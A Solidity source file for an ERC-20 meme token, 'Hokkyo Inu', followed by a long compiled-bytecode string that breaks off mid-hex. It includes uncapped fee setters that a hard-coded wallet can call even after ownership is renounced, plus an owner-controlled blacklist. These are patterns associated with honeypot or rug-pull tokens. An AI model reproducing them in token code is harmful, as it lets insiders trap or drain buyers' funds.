library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Hokkyo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0xFdD48b5032E4e39b17A6966977c09abf5874A9d9);
address payable private _feeAddrWallet2 = payable(0xFdD48b5032E4e39b17A6966977c09abf5874A9d9);
string private constant _name = "Hokkyo Inu";
string private constant _symbol = "HOKKYO INU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b55565b60405180910390f35b34801561015b57600080fd5b506101766004803603810190610171919061267f565b610492565b6040516101839190612b3a565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612cd7565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061262c565b6104c4565b6040516101eb9190612b3a565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612592565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612d4c565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612708565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612592565b6107ba565b6040516102bc9190612cd7565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612762565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612a6c565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612b55565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061267f565b610a65565b60405161038f9190612b3a565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126bf565b610a83565b005b3480156103cd57600080fd5b506103d6610bad565b005b3480156103e457600080fd5b506103ed610c27565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612762565b611189565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125ec565b61122a565b60405161044c9190612cd7565b60405180910390f35b60606040518060400160405280600a81526020017f486f6b6b796f20496e7500000000000000000000000000000000000000000000815250905090565b60006104a661049f6112b1565b84846112b9565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d1848484611484565b610592846104dd6112b1565b61058d8560405180606001604052806028815260200161342a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119629092919063ffffffff16565b6112b9565b600190509392505050565b6105a56112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c37565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112b1565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119c6565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac1565b9050919050565b6108136112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112b1565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612b97565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f484f4b4b594f20494e5500000000000000000000000000000000000000000000815250905090565b6000610a79610a726112b1565b8484611484565b6001905092915050565b610a8b6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c37565b60405180910390fd5b60005b8151811015610ba957600160066000848481518110610b3d57610b3c613094565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba190612fed565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bee6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614610c0e57600080fd5b6000610c19306107ba565b9050610c2481611b2f565b50565b610c2f6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390612c37565b60405180910390fd5b600f60149054906101000a900460ff1615610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612cb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de557600080fd5b505afa158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906125bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7f57600080fd5b505afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb791906125bf565b6040518363ffffffff1660e01b8152600401610ed4929190612a87565b602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2691906125bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610faf306107ba565b600080610fba6109ff565b426040518863ffffffff1660e01b8152600401610fdc96959493929190612ad9565b6060604051808303818588803b158015610ff557600080fd5b505af1158015611009573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102e919061278f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611133929190612ab0565b602060405180830381600087803b15801561114d57600080fd5b505af1158015611161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111859190612735565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ca6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612b97565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090612c97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612bd7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114779190612cd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90612b77565b60405180910390fd5b600081116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612c57565b60405180910390fd5b6115af6109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed6109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750600f60179054906101000a900460ff165b15611898576010548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612e0d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118a3306107ba565b9050600f60159054906101000a900460ff161580156119105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119285750600f60169054906101000a900460ff165b156119505761193681611b2f565b6000479050600081111561194e5761194d476119c6565b5b505b505b61195d838383611db7565b505050565b60008383111582906119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a19190612b55565b60405180910390fd5b50600083856119b99190612eee565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a16600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a41573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a92600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b5050565b6000600854821115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612bb7565b60405180910390fd5b6000611b12611e11565b9050611b278184611dc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6757611b666130c3565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b5090503081600081518110611bad57611bac613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4f57600080fd5b505afa158015611c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8791906125bf565b81600181518110611c9b57611c9a613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d66959493929190612cf2565b600060405180830381600087803b158015611d8057600080fd5b505af1158015611d94573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dc2838383611e3c565b505050565b6000611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612007565b905092915050565b6000806000611e1e61206a565b91509150611e358183611dc790919063ffffffff16565b9250505090565b600080600080600080611e4e876120d5565b955095509550955095509550611eac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8d816121e5565b611f9784836122a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff49190612cd7565b60405180910390a3505050505050505050565b6000808311829061204e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120459190612b55565b60405180910390fd5b506000838561205d9190612e63565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120a66b033b2e3c9fd0803ce8000000600854611dc790919063ffffffff16565b8210156120c8576008546b033b2e3c9fd0803ce80000009350935050506120d1565b81819350935050505b9091565b60008060008060008060008060006120f28a600a54600b546122dc565b9250925092506000612102611e11565b905060008060006121158e878787612372565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611962565b905092915050565b60008082846121969190612e0d565b9050838110156121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d290612bf7565b60405180910390fd5b8091505092915050565b60006121ef611e11565b9050600061220682846123fb90919063ffffffff16565b905061225a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122b78260085461213d90919063ffffffff16565b6008819055506122d28160095461218790919063ffffffff16565b6009819055505050565b60008060008061230860646122fa888a6123fb90919063ffffffff16565b611dc790919063ffffffff16565b905060006123326064612324888b6123fb90919063ffffffff16565b611dc790919063ffffffff16565b9050600061235b8261234d858c61213d90919063ffffffff16565b61213d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238b85896123fb90919063ffffffff16565b905060006123a286896123fb90919063ffffffff16565b905060006123b987896123fb90919063ffffffff16565b905060006123e2826123d4858761213d90919063ffffffff16565b61213d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561240e5760009050612470565b6000828461241c9190612e94565b905082848261242b9190612e63565b1461246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246290612c17565b60405180910390fd5b809150505b92915050565b600061248961248484612d8c565b612d67565b905080838252602082019050828560208602820111156124ac576124ab6130f7565b5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816133e4565b92915050565b60008151905061250a816133e4565b92915050565b600082601f830112612525576125246130f2565b5b8135612535848260208601612476565b91505092915050565b60008135905061254d816133fb565b92915050565b600081519050612562816133fb565b92915050565b60008135905061257781613412565b92915050565b60008151905061258c81613412565b92915050565b6000602082840312156125a8576125a7613101565b5b60006125b6848285016124e6565b91505092915050565b6000602082840312156125d5576125d4613101565b5b60006125e3848285016124fb565b91505092915050565b6000806040838503121561260357612602613101565b5b6000612611858286016124e6565b9250506020612622858286016124e6565b9150509250929050565b60008060006060848603121561264557612644613101565b5b6000612653868287016124e6565b9350506020612664868287016124e6565b925050604061267586828701612568565b9150509250925092565b6000806040838503121561269657612695613101565b5b60006126a4858286016124e6565b92505060206126b585828601612568565b9150509250929050565b6000602082840312156126d5576126d4613101565b5b600082013567ffffffffffffffff8111156126f3576126f26130fc565b5b6126ff84828501612510565b91505092915050565b60006020828403121561271e5761271d613101565b5b600061272c8482850161253e565b91505092915050565b60006020828403121561274b5761274a613101565b5b600061275984828501612553565b91505092915050565b60006020828403121561277857612777613101565b5b600061278684828501612568565b91505092915050565b6000806000606084860312156127a8576127a7613101565b5b60006127b68682870161257d565b93505060206127c78682870161257d565b92505060406127d88682870161257d565b9150509250925092565b60006127ee83836127fa565b60208301905092915050565b61280381612f22565b82525050565b61281281612f22565b82525050565b600061282382612dc8565b61282d8185612deb565b935061283883612db8565b8060005b8381101561286957815161285088826127e2565b975061285b83612dde565b92505060018101905061283c565b5085935050505092915050565b61287f81612f34565b82525050565b61288e81612f77565b82525050565b600061289f82612dd3565b6128a98185612dfc565b93506128b9818560208601612f89565b6128c281613106565b840191505092915050565b60006128da602383612dfc565b91506128e582613117565b604082019050919050565b60006128fd600c83612dfc565b915061290882613166565b602082019050919050565b6000612920602a83612dfc565b915061292b8261318f565b604082019050919050565b6000612943602283612dfc565b915061294e826131de565b604082019050919050565b6000612966601b83612dfc565b91506129718261322d565b602082019050919050565b6000612989602183612dfc565b915061299482613256565b604082019050919050565b60006129ac602083612dfc565b91506129b7826132a5565b602082019050919050565b60006129cf602983612dfc565b91506129da826132ce565b604082019050919050565b60006129f2602583612dfc565b91506129fd8261331d565b604082019050919050565b6000612a15602483612dfc565b9150612a208261336c565b604082019050919050565b6000612a38601783612dfc565b9150612a43826133bb565b602082019050919050565b612a5781612f60565b82525050565b612a6681612f6a565b82525050565b6000602082019050612a816000830184612809565b92915050565b6000604082019050612a9c6000830185612809565b612aa96020830184612809565b9392505050565b6000604082019050612ac56000830185612809565b612ad26020830184612a4e565b9392505050565b600060c082019050612aee6000830189612809565b612afb6020830188612a4e565b612b086040830187612885565b612b156060830186612885565b612b226080830185612809565b612b2f60a0830184612a4e565b979650505050505050565b6000602082019050612b4f6000830184612876565b92915050565b60006020820190508181036000830152612b6f8184612894565b905092915050565b60006020820190508181036000830152612b90816128cd565b9050919050565b60006020820190508181036000830152612bb081612